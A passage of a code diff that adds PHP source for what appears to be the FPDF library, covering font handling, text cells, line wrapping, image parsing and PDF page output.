+		$this->TextColor=sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
+	$this->ColorFlag=($this->FillColor!=$this->TextColor);
+}
+
+function GetStringWidth($s)
+{
+	//Get width of a string in the current font
+	$s=(string)$s;
+	$cw=&$this->CurrentFont['cw'];
+	$w=0;
+	$l=strlen($s);
+	for($i=0;$i<$l;$i++)
+		$w+=$cw[$s[$i]];
+	return $w*$this->FontSize/1000;
+}
+
+function SetLineWidth($width)
+{
+	//Set line width
+	$this->LineWidth=$width;
+	if($this->page>0)
+		$this->_out(sprintf('%.2F w',$width*$this->k));
+}
+
+function Line($x1, $y1, $x2, $y2)
+{
+	//Draw a line
+	$this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k));
+}
+
+function Rect($x, $y, $w, $h, $style='')
+{
+	//Draw a rectangle
+	if($style=='F')
+		$op='f';
+	elseif($style=='FD' || $style=='DF')
+		$op='B';
+	else
+		$op='S';
+	$this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op));
+}
+
+function AddFont($family, $style='', $file='')
+{
+	//Add a TrueType or Type1 font
+	$family=strtolower($family);
+	if($file=='')
+		$file=str_replace(' ','',$family).strtolower($style).'.php';
+	if($family=='arial')
+		$family='helvetica';
+	$style=strtoupper($style);
+	if($style=='IB')
+		$style='BI';
+	$fontkey=$family.$style;
+	if(isset($this->fonts[$fontkey]))
+		return;
+	include($this->_getfontpath().$file);
+	if(!isset($name))
+		$this->Error('Could not include font definition file');
+	$i=count($this->fonts)+1;
+	$this->fonts[$fontkey]=array('i'=>$i, 'type'=>$type, 'name'=>$name, 'desc'=>$desc, 'up'=>$up, 'ut'=>$ut, 'cw'=>$cw, 'enc'=>$enc, 'file'=>$file);
+	if($diff)
+	{
+		//Search existing encodings
+		$d=0;
+		$nb=count($this->diffs);
+		for($i=1;$i<=$nb;$i++)
+		{
+			if($this->diffs[$i]==$diff)
+			{
+				$d=$i;
+				break;
+			}
+		}
+		if($d==0)
+		{
+			$d=$nb+1;
+			$this->diffs[$d]=$diff;
+		}
+		$this->fonts[$fontkey]['diff']=$d;
+	}
+	if($file)
+	{
+		if($type=='TrueType')
+			$this->FontFiles[$file]=array('length1'=>$originalsize);
+		else
+			$this->FontFiles[$file]=array('length1'=>$size1, 'length2'=>$size2);
+	}
+}
+
+function SetFont($family, $style='', $size=0)
+{
+	//Select a font; size given in points
+	global $fpdf_charwidths;
+
+	$family=strtolower($family);
+	if($family=='')
+		$family=$this->FontFamily;
+	if($family=='arial')
+		$family='helvetica';
+	elseif($family=='symbol' || $family=='zapfdingbats')
+		$style='';
+	$style=strtoupper($style);
+	if(strpos($style,'U')!==false)
+	{
+		$this->underline=true;
+		$style=str_replace('U','',$style);
+	}
+	else
+		$this->underline=false;
+	if($style=='IB')
+		$style='BI';
+	if($size==0)
+		$size=$this->FontSizePt;
+	//Test if font is already selected
+	if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size)
+		return;
+	//Test if used for the first time
+	$fontkey=$family.$style;
+	if(!isset($this->fonts[$fontkey]))
+	{
+		//Check if one of the standard fonts
+		if(isset($this->CoreFonts[$fontkey]))
+		{
+			if(!isset($fpdf_charwidths[$fontkey]))
+			{
+				//Load metric file
+				$file=$family;
+				if($family=='times' || $family=='helvetica')
+					$file.=strtolower($style);
+				include($this->_getfontpath().$file.'.php');
+				if(!isset($fpdf_charwidths[$fontkey]))
+					$this->Error('Could not include font metric file');
+			}
+			$i=count($this->fonts)+1;
+			$name=$this->CoreFonts[$fontkey];
+			$cw=$fpdf_charwidths[$fontkey];
+			$this->fonts[$fontkey]=array('i'=>$i, 'type'=>'core', 'name'=>$name, 'up'=>-100, 'ut'=>50, 'cw'=>$cw);
+		}
+		else
+			$this->Error('Undefined font: '.$family.' '.$style);
+	}
+	//Select it
+	$this->FontFamily=$family;
+	$this->FontStyle=$style;
+	$this->FontSizePt=$size;
+	$this->FontSize=$size/$this->k;
+	$this->CurrentFont=&$this->fonts[$fontkey];
+	if($this->page>0)
+		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
+}
+
+function SetFontSize($size)
+{
+	//Set font size in points
+	if($this->FontSizePt==$size)
+		return;
+	$this->FontSizePt=$size;
+	$this->FontSize=$size/$this->k;
+	if($this->page>0)
+		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
+}
+
+function AddLink()
+{
+	//Create a new internal link
+	$n=count($this->links)+1;
+	$this->links[$n]=array(0, 0);
+	return $n;
+}
+
+function SetLink($link, $y=0, $page=-1)
+{
+	//Set destination of internal link
+	if($y==-1)
+		$y=$this->y;
+	if($page==-1)
+		$page=$this->page;
+	$this->links[$link]=array($page, $y);
+}
+
+function Link($x, $y, $w, $h, $link)
+{
+	//Put a link on the page
+	$this->PageLinks[$this->page][]=array($x*$this->k, $this->hPt-$y*$this->k, $w*$this->k, $h*$this->k, $link);
+}
+
+function Text($x, $y, $txt)
+{
+	//Output a string
+	$s=sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
+	if ($txt!='')
+	{
+		if($this->underline) $s.=' '.$this->_dounderline($x,$y,$txt);
+	}
+	if($this->ColorFlag)
+		$s='q '.$this->TextColor.' '.$s.' Q';
+	$this->_out($s);
+}
+
+function AcceptPageBreak()
+{
+	//Accept automatic page break or not
+	return $this->AutoPageBreak;
+}
+
+function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='')
+{
+	//Output a cell
+	$k=$this->k;
+	if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
+	{
+		//Automatic page break
+		$x=$this->x;
+		$ws=$this->ws;
+		if($ws>0)
+		{
+			$this->ws=0;
+			$this->_out('0 Tw');
+		}
+		$this->AddPage($this->CurOrientation,$this->CurPageFormat);
+		$this->x=$x;
+		if($ws>0)
+		{
+			$this->ws=$ws;
+			$this->_out(sprintf('%.3F Tw',$ws*$k));
+		}
+	}
+	if($w==0)
+		$w=$this->w-$this->rMargin-$this->x;
+	$s='';
+	if($fill || $border==1)
+	{
+		if($fill)
+			$op=($border==1) ? 'B' : 'f';
+		else
+			$op='S';
+		$s=sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
+	}
+	if(is_string($border))
+	{
+		$x=$this->x;
+		$y=$this->y;
+		if(strpos($border,'L')!==false)
+			$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
+		if(strpos($border,'T')!==false)
+			$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
+		if(strpos($border,'R')!==false)
+			$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
+		if(strpos($border,'B')!==false)
+			$s.=sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
+	}
+	if($txt!=='')
+	{
+		if($align=='R')
+			$dx=$w-$this->cMargin-$this->GetStringWidth($txt);
+		elseif($align=='C')
+			$dx=($w-$this->GetStringWidth($txt))/2;
+		else
+			$dx=$this->cMargin;
+		if($this->ColorFlag)
+			$s.='q '.$this->TextColor.' ';
+		$txt2=str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt)));
+		$s.=sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2);
+		if($this->underline)
+			$s.=' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
+		if($this->ColorFlag)
+			$s.=' Q';
+		if($link)
+			$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
+	}
+	if($s)
+		$this->_out($s);
+	$this->lasth=$h;
+	if($ln>0)
+	{
+		//Go to next line
+		$this->y+=$h;
+		if($ln==1)
+			$this->x=$this->lMargin;
+	}
+	else
+		$this->x+=$w;
+}
+
+function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false)
+{
+	//Output text with automatic or explicit line breaks
+	$cw=&$this->CurrentFont['cw'];
+	if($w==0)
+		$w=$this->w-$this->rMargin-$this->x;
+	$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
+	$s=str_replace("\r",'',$txt);
+	$nb=strlen($s);
+	if($nb>0 && $s[$nb-1]=="\n")
+		$nb--;
+	$b=0;
+	if($border)
+	{
+		if($border==1)
+		{
+			$border='LTRB';
+			$b='LRT';
+			$b2='LR';
+		}
+		else
+		{
+			$b2='';
+			if(strpos($border,'L')!==false)
+				$b2.='L';
+			if(strpos($border,'R')!==false)
+				$b2.='R';
+			$b=(strpos($border,'T')!==false) ? $b2.'T' : $b2;
+		}
+	}
+	$sep=-1;
+	$i=0;
+	$j=0;
+	$l=0;
+	$ns=0;
+	$nl=1;
+	while($i<$nb)
+	{
+		//Get next character
+		$c=$s[$i];
+		if($c=="\n")
+		{
+			//Explicit line break
+			if($this->ws>0)
+			{
+				$this->ws=0;
+				$this->_out('0 Tw');
+			}
+			$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
+			$i++;
+			$sep=-1;
+			$j=$i;
+			$l=0;
+			$ns=0;
+			$nl++;
+			if($border && $nl==2)
+				$b=$b2;
+			continue;
+		}
+		if($c==' ')
+		{
+			$sep=$i;
+			$ls=$l;
+			$ns++;
+		}
+		$l+=$cw[$c];
+		if($l>$wmax)
+		{
+			//Automatic line break
+			if($sep==-1)
+			{
+				if($i==$j)
+					$i++;
+				if($this->ws>0)
+				{
+					$this->ws=0;
+					$this->_out('0 Tw');
+				}
+				$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
+			}
+			else
+			{
+				if($align=='J')
+				{
+					$this->ws=($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
+					$this->_out(sprintf('%.3F Tw',$this->ws*$this->k));
+				}
+				$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
+				$i=$sep+1;
+			}
+			$sep=-1;
+			$j=$i;
+			$l=0;
+			$ns=0;
+			$nl++;
+			if($border && $nl==2)
+				$b=$b2;
+		}
+		else
+			$i++;
+	}
+	//Last chunk
+	if($this->ws>0)
+	{
+		$this->ws=0;
+		$this->_out('0 Tw');
+	}
+	if($border && strpos($border,'B')!==false)
+		$b.='B';
+	$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
+	$this->x=$this->lMargin;
+}
+
+function Write($h, $txt, $link='')
+{
+	//Output text in flowing mode
+	$cw=&$this->CurrentFont['cw'];
+	$w=$this->w-$this->rMargin-$this->x;
+	$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
+	$s=str_replace("\r",'',$txt);
+	$nb=strlen($s);
+	$sep=-1;
+	$i=0;
+	$j=0;
+	$l=0;
+	$nl=1;
+	while($i<$nb)
+	{
+		//Get next character
+		$c=$s[$i];
+		if($c=="\n")
+		{
+			//Explicit line break
+			$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
+			$i++;
+			$sep=-1;
+			$j=$i;
+			$l=0;
+			if($nl==1)
+			{
+				$this->x=$this->lMargin;
+				$w=$this->w-$this->rMargin-$this->x;
+				$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
+			}
+			$nl++;
+			continue;
+		}
+		if($c==' ')
+			$sep=$i;
+		$l+=$cw[$c];
+		if($l>$wmax)
+		{
+			//Automatic line break
+			if($sep==-1)
+			{
+				if($this->x>$this->lMargin)
+				{
+					//Move to next line
+					$this->x=$this->lMargin;
+					$this->y+=$h;
+					$w=$this->w-$this->rMargin-$this->x;
+					$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
+					$i++;
+					$nl++;
+					continue;
+				}
+				if($i==$j)
+					$i++;
+				$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
+			}
+			else
+			{
+				$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
+				$i=$sep+1;
+			}
+			$sep=-1;
+			$j=$i;
+			$l=0;
+			if($nl==1)
+			{
+				$this->x=$this->lMargin;
+				$w=$this->w-$this->rMargin-$this->x;
+				$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;
+			}
+			$nl++;
+		}
+		else
+			$i++;
+	}
+	//Last chunk
+	if($i!=$j)
+		$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link);
+}
+
+function Ln($h=null)
+{
+	//Line feed; default value is last cell height
+	$this->x=$this->lMargin;
+	if($h===null)
+		$this->y+=$this->lasth;
+	else
+		$this->y+=$h;
+}
+
+function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='')
+{
+	//Put an image on the page
+	if(!isset($this->images[$file]))
+	{
+		//First use of this image, get info
+		if($type=='')
+		{
+			$pos=strrpos($file,'.');
+			if(!$pos)
+				$this->Error('Image file has no extension and no type was specified: '.$file);
+			$type=substr($file,$pos+1);
+		}
+		$type=strtolower($type);
+		if($type=='jpeg')
+			$type='jpg';
+		$mtd='_parse'.$type;
+		if(!method_exists($this,$mtd))
+			$this->Error('Unsupported image type: '.$type);
+		$info=$this->$mtd($file);
+		$info['i']=count($this->images)+1;
+		$this->images[$file]=$info;
+	}
+	else
+		$info=$this->images[$file];
+	//Automatic width and height calculation if needed
+	if($w==0 && $h==0)
+	{
+		//Put image at 72 dpi
+		$w=$info['w']/$this->k;
+		$h=$info['h']/$this->k;
+	}
+	elseif($w==0)
+		$w=$h*$info['w']/$info['h'];
+	elseif($h==0)
+		$h=$w*$info['h']/$info['w'];
+	//Flowing mode
+	if($y===null)
+	{
+		if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
+		{
+			//Automatic page break
+			$x2=$this->x;
+			$this->AddPage($this->CurOrientation,$this->CurPageFormat);
+			$this->x=$x2;
+		}
+		$y=$this->y;
+		$this->y+=$h;
+	}
+	if($x===null)
+		$x=$this->x;
+	$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
+	if($link)
+		$this->Link($x,$y,$w,$h,$link);
+}
+
+function GetX()
+{
+	//Get x position
+	return $this->x;
+}
+
+function SetX($x)
+{
+	//Set x position
+	if($x>=0)
+		$this->x=$x;
+	else
+		$this->x=$this->w+$x;
+}
+
+function GetY()
+{
+	//Get y position
+	return $this->y;
+}
+
+function SetY($y)
+{
+	//Set y position and reset x
+	$this->x=$this->lMargin;
+	if($y>=0)
+		$this->y=$y;
+	else
+		$this->y=$this->h+$y;
+}
+
+function SetXY($x, $y)
+{
+	//Set x and y positions
+	$this->SetY($y);
+	$this->SetX($x);
+}
+
+function Output($name='', $dest='')
+{
+	//Output PDF to some destination
+	if($this->state<3)
+		$this->Close();
+	$dest=strtoupper($dest);
+	if($dest=='')
+	{
+		if($name=='')
+		{
+			$name='doc.pdf';
+			$dest='I';
+		}
+		else
+			$dest='F';
+	}
+	switch($dest)
+	{
+		case 'I':
+			//Send to standard output
+			if(ob_get_length())
+				$this->Error('Some data has already been output, can\'t send PDF file');
+			if(php_sapi_name()!='cli')
+			{
+				//We send to a browser
+				header('Content-Type: application/pdf');
+				if(headers_sent())
+					$this->Error('Some data has already been output, can\'t send PDF file');
+				header('Content-Length: '.strlen($this->buffer));
+				header('Content-Disposition: inline; filename="'.$name.'"');
+				header('Cache-Control: private, max-age=0, must-revalidate');
+				header('Pragma: public');
+				ini_set('zlib.output_compression','0');
+			}
+			echo $this->buffer;
+			break;
+		case 'D':
+			//Download file
+			if(ob_get_length())
+				$this->Error('Some data has already been output, can\'t send PDF file');
+			header('Content-Type: application/x-download');
+			if(headers_sent())
+				$this->Error('Some data has already been output, can\'t send PDF file');
+			header('Content-Length: '.strlen($this->buffer));
+			header('Content-Disposition: attachment; filename="'.$name.'"');
+			header('Cache-Control: private, max-age=0, must-revalidate');
+			header('Pragma: public');
+			ini_set('zlib.output_compression','0');
+			echo $this->buffer;
+			break;
+		case 'F':
+			//Save to local file
+			$f=fopen($name,'wb');
+			if(!$f)
+				$this->Error('Unable to create output file: '.$name);
+			fwrite($f,$this->buffer,strlen($this->buffer));
+			fclose($f);
+			break;
+		case 'S':
+			//Return as a string
+			return $this->buffer;
+		default:
+			$this->Error('Incorrect output destination: '.$dest);
+	}
+	return '';
+}
+
+/*******************************************************************************
+*                                                                              *
+*                              Protected methods                               *
+*                                                                              *
+*******************************************************************************/
+function _dochecks()
+{
+	//Check availability of %F
+	if(sprintf('%.1F',1.0)!='1.0')
+		$this->Error('This version of PHP is not supported');
+	//Check mbstring overloading
+	if(ini_get('mbstring.func_overload') & 2)
+		$this->Error('mbstring overloading must be disabled');
+	//Disable runtime magic quotes
+	if(get_magic_quotes_runtime())
+		@set_magic_quotes_runtime(0);
+}
+
+function _getpageformat($format)
+{
+	$format=strtolower($format);
+	if(!isset($this->PageFormats[$format]))
+		$this->Error('Unknown page format: '.$format);
+	$a=$this->PageFormats[$format];
+	return array($a[0]/$this->k, $a[1]/$this->k);
+}
+
+function _getfontpath()
+{
+	if(!defined('FPDF_FONTPATH') && is_dir(dirname(__FILE__).'/font'))
+		define('FPDF_FONTPATH',dirname(__FILE__).'/font/');
+	return defined('FPDF_FONTPATH') ? FPDF_FONTPATH : '';
+}
+
+function _beginpage($orientation, $format)
+{
+	$this->page++;
+	$this->pages[$this->page]='';
+	$this->state=2;
+	$this->x=$this->lMargin;
+	$this->y=$this->tMargin;
+	$this->FontFamily='';
+	//Check page size
+	if($orientation=='')
+		$orientation=$this->DefOrientation;
+	else
+		$orientation=strtoupper($orientation[0]);
+	if($format=='')
+		$format=$this->DefPageFormat;
+	else
+	{
+		if(is_string($format))
+			$format=$this->_getpageformat($format);
+	}
+	if($orientation!=$this->CurOrientation || $format[0]!=$this->CurPageFormat[0] || $format[1]!=$this->CurPageFormat[1])
+	{
+		//New size
+		if($orientation=='P')
+		{
+			$this->w=$format[0];
+			$this->h=$format[1];
+		}
+		else
+		{
+			$this->w=$format[1];
+			$this->h=$format[0];
+		}
+		$this->wPt=$this->w*$this->k;
+		$this->hPt=$this->h*$this->k;
+		$this->PageBreakTrigger=$this->h-$this->bMargin;
+		$this->CurOrientation=$orientation;
+		$this->CurPageFormat=$format;
+	}
+	if($orientation!=$this->DefOrientation || $format[0]!=$this->DefPageFormat[0] || $format[1]!=$this->DefPageFormat[1])
+		$this->PageSizes[$this->page]=array($this->wPt, $this->hPt);
+}
+
+function _endpage()
+{
+	$this->state=1;
+}
+
+function _escape($s)
+{
+	//Escape special characters in strings
+	$s=str_replace('\\','\\\\',$s);
+	$s=str_replace('(','\\(',$s);
+	$s=str_replace(')','\\)',$s);
+	$s=str_replace("\r",'\\r',$s);
+	return $s;
+}
+
+function _textstring($s)
+{
+	//Format a text string
+	return '('.$this->_escape($s).')';
+}
+
+function _UTF8toUTF16($s)
+{
+	//Convert UTF-8 to UTF-16BE with BOM
+	$res="\xFE\xFF";
+	$nb=strlen($s);
+	$i=0;
+	while($i<$nb)
+	{
+		$c1=ord($s[$i++]);
+		if($c1>=224)
+		{
+			//3-byte character
+			$c2=ord($s[$i++]);
+			$c3=ord($s[$i++]);
+			$res.=chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2));
+			$res.=chr((($c2 & 0x03)<<6) + ($c3 & 0x3F));
+		}
+		elseif($c1>=192)
+		{
+			//2-byte character
+			$c2=ord($s[$i++]);
+			$res.=chr(($c1 & 0x1C)>>2);
+			$res.=chr((($c1 & 0x03)<<6) + ($c2 & 0x3F));
+		}
+		else
+		{
+			//Single-byte character
+			$res.="\0".chr($c1);
+		}
+	}
+	return $res;
+}
+
+function _dounderline($x, $y, $txt)
+{
+	//Underline text
+	$up=$this->CurrentFont['up'];
+	$ut=$this->CurrentFont['ut'];
+	$w=$this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
+	return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
+}
+
+function _parsejpg($file)
+{
+	//Extract info from a JPEG file
+	$a=GetImageSize($file);
+	if(!$a)
+		$this->Error('Missing or incorrect image file: '.$file);
+	if($a[2]!=2)
+		$this->Error('Not a JPEG file: '.$file);
+	if(!isset($a['channels']) || $a['channels']==3)
+		$colspace='DeviceRGB';
+	elseif($a['channels']==4)
+		$colspace='DeviceCMYK';
+	else
+		$colspace='DeviceGray';
+	$bpc=isset($a['bits']) ? $a['bits'] : 8;
+	//Read whole file
+	$f=fopen($file,'rb');
+	$data='';
+	while(!feof($f))
+		$data.=fread($f,8192);
+	fclose($f);
+	return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data);
+}
+
+function _parsepng($file)
+{
+	//Extract info from a PNG file
+	$f=fopen($file,'rb');
+	if(!$f)
+		$this->Error('Can\'t open image file: '.$file);
+	//Check signature
+	if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
+		$this->Error('Not a PNG file: '.$file);
+	//Read header chunk
+	$this->_readstream($f,4);
+	if($this->_readstream($f,4)!='IHDR')
+		$this->Error('Incorrect PNG file: '.$file);
+	$w=$this->_readint($f);
+	$h=$this->_readint($f);
+	$bpc=ord($this->_readstream($f,1));
+	if($bpc>8)
+		$this->Error('16-bit depth not supported: '.$file);
+	$ct=ord($this->_readstream($f,1));
+	if($ct==0)
+		$colspace='DeviceGray';
+	elseif($ct==2)
+		$colspace='DeviceRGB';
+	elseif($ct==3)
+		$colspace='Indexed';
+	else
+		$this->Error('Alpha channel not supported: '.$file);
+	if(ord($this->_readstream($f,1))!=0)
+		$this->Error('Unknown compression method: '.$file);
+	if(ord($this->_readstream($f,1))!=0)
+		$this->Error('Unknown filter method: '.$file);
+	if(ord($this->_readstream($f,1))!=0)
+		$this->Error('Interlacing not supported: '.$file);
+	$this->_readstream($f,4);
+	$parms='/DecodeParms <</Predictor 15 /Colors '.($ct==2 ? 3 : 1).' /BitsPerComponent '.$bpc.' /Columns '.$w.'>>';
+	//Scan chunks looking for palette, transparency and image data
+	$pal='';
+	$trns='';
+	$data='';
+	do
+	{
+		$n=$this->_readint($f);
+		$type=$this->_readstream($f,4);
+		if($type=='PLTE')
+		{
+			//Read palette
+			$pal=$this->_readstream($f,$n);
+			$this->_readstream($f,4);
+		}
+		elseif($type=='tRNS')
+		{
+			//Read transparency info
+			$t=$this->_readstream($f,$n);
+			if($ct==0)
+				$trns=array(ord(substr($t,1,1)));
+			elseif($ct==2)
+				$trns=array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
+			else
+			{
+				$pos=strpos($t,chr(0));
+				if($pos!==false)
+					$trns=array($pos);
+			}
+			$this->_readstream($f,4);
+		}
+		elseif($type=='IDAT')
+		{
+			//Read image data block
+			$data.=$this->_readstream($f,$n);
+			$this->_readstream($f,4);
+		}
+		elseif($type=='IEND')
+			break;
+		else
+			$this->_readstream($f,$n+4);
+	}
+	while($n);
+	if($colspace=='Indexed' && empty($pal))
+		$this->Error('Missing palette in '.$file);
+	fclose($f);
+	return array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'parms'=>$parms, 'pal'=>$pal, 'trns'=>$trns, 'data'=>$data);
+}
+
+function _readstream($f, $n)
+{
+	//Read n bytes from stream
+	$res='';
+	while($n>0 && !feof($f))
+	{
+		$s=fread($f,$n);
+		if($s===false)
+			$this->Error('Error while reading stream');
+		$n-=strlen($s);
+		$res.=$s;
+	}
+	if($n>0)
+		$this->Error('Unexpected end of stream');
+	return $res;
+}
+
+function _readint($f)
+{
+	//Read a 4-byte integer from stream
+	$a=unpack('Ni',$this->_readstream($f,4));
+	return $a['i'];
+}
+
+function _parsegif($file)
+{
+	//Extract info from a GIF file (via PNG conversion)
+	if(!function_exists('imagepng'))
+		$this->Error('GD extension is required for GIF support');
+	if(!function_exists('imagecreatefromgif'))
+		$this->Error('GD has no GIF read support');
+	$im=imagecreatefromgif($file);
+	if(!$im)
+		$this->Error('Missing or incorrect image file: '.$file);
+	imageinterlace($im,0);
+	$tmp=tempnam('.','gif');
+	if(!$tmp)
+		$this->Error('Unable to create a temporary file');
+	if(!imagepng($im,$tmp))
+		$this->Error('Error while saving to temporary file');
+	imagedestroy($im);
+	$info=$this->_parsepng($tmp);
+	unlink($tmp);
+	return $info;
+}
+
+function _newobj()
+{
+	//Begin a new object
+	$this->n++;
+	$this->offsets[$this->n]=strlen($this->buffer);
+	$this->_out($this->n.' 0 obj');
+}
+
+function _putstream($s)
+{
+	$this->_out('stream');
+	$this->_out($s);
+	$this->_out('endstream');
+}
+
+function _out($s)
+{
+	//Add a line to the document
+	if($this->state==2)
+		$this->pages[$this->page].=$s."\n";
+	else
+		$this->buffer.=$s."\n";
+}
+
+function _putpages()
+{
+	$nb=$this->page;
+	if(!empty($this->AliasNbPages))
+	{
+		//Replace number of pages
+		for($n=1;$n<=$nb;$n++)
+			$this->pages[$n]=str_replace($this->AliasNbPages,$nb,$this->pages[$n]);
+	}
+	if($this->DefOrientation=='P')
+	{
+		$wPt=$this->DefPageFormat[0]*$this->k;
+		$hPt=$this->DefPageFormat[1]*$this->k;
+	}
+	else
+	{
+		$wPt=$this->DefPageFormat[1]*$this->k;
+		$hPt=$this->DefPageFormat[0]*$this->k;
+	}
+	$filter=($this->compress) ? '/Filter /FlateDecode ' : '';
+	for($n=1;$n<=$nb;$n++)
+	{
+		//Page
+		$this->_newobj();
+		$this->_out('<</Type /Page');
+		$this->_out('/Parent 1 0 R');
+		if(isset($this->PageSizes[$n]))
+			$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1]));
+		$this->_out('/Resources 2 0 R');
+		if(isset($this->PageLinks[$n]))
+		{
+			//Links
+			$annots='/Annots [';
+			foreach($this->PageLinks[$n] as $pl)
+			{
+				$rect=sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
+				$annots.='<</Type /Annot /Subtype /Link /Rect ['.$rect.'] /Border [0 0 0] ';
+				if(is_string($pl[4]))
+					$annots.='/A <</S /URI /URI '.$this->_textstring($pl[4]).'>>>>';
+				else
+				{
+					$l=$this->links[$pl[4]];
+					$h=isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt;
+					$annots.=sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k);
+				}
+			}
+			$this->_out($annots.']');
+		}
+		$this->_out('/Contents '.($this->n+1).' 0 R>>');
+		$this->_out('endobj');
+		//Page content
+		$p=($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n];
+		$this->_newobj();
+		$this->_out('<<'.$filter.'/Length '.strlen($p).'>>');
+		$this->_putstream($p);
+		$this->_out('endobj');
+	}
+	//Pages root
+	$this->offsets[1]=strlen($this->buffer);
+	$this->_out('1 0 obj');
+	$this->_out('<</Type /Pages');
+	$kids='/Kids [';
+	for($i=0;$i<$nb;$i++)
+		$kids.=(3+2*$i).' 0 R ';
+	$this->_out($kids.']');
+	$this->_out('/Count '.$nb);
+	$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt));
+	$this->_out('>>');
+	$this->_out('endobj');
+}
+
+function _putfonts()
+{
+	$nf=$this->n;
+	foreach($this->diffs as $diff)
+	{
+		//Encodings
+		$this->_newobj();
+		$this->_out('<</Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.']>>');
+		$this->_out('endobj');
+	}
+	foreach($this->FontFiles as $file=>$info)
+	{
+		//Font file embedding
+		$this->_newobj();
+		$this->FontFiles[$file]['n']=$this->n;
+		$font='';
+		$f=fopen($this->_getfontpath().$file,'rb',1);
+		if(!$f)
+			$this->Error('Font file not found');
+		while(!feof($f))
+			$font.=fread($f,8192);
+		fclose($f);
+		$compressed=(substr($file,-2)=='.z');
+		if(!$compressed && isset($info['length2']))
+		{
+			$header=(ord($font[0])==128);
+			if($header)
+			{
+				//Strip first binary header
+				$font=substr($font,6);
+			}
+			if($header && ord($font[$info['length1']])==128)
+			{
+				//Strip second binary header
+				$font=substr($font,0,$info['length1']).substr($font,$info['length1']+6);
+			}
+		}
+		$this->_out('<</Length '.strlen($font));
+		if($compressed)
+			$this->_out('/Filter /FlateDecode');
+		$this->_out('/Length1 '.$info['length1']);
+		if(isset($info['length2']))
+			$this->_out('/Length2 '.$info['length2'].' /Length3 0');
+		$this->_out('>>');
+		$this->_putstream($font);
+		$this->_out('endobj');
+	}
+	foreach($this->fonts as $k=>$font)
+	{
+		//Font objects
+		$this->fonts[$k]['n']=$this->n+1;
+		$type=$font['type'];
+		$name=$font['name'];
+		if($type=='core')
+		{
+			//Standard font
+			$this->_newobj();
+			$this->_out('<</Type /Font');
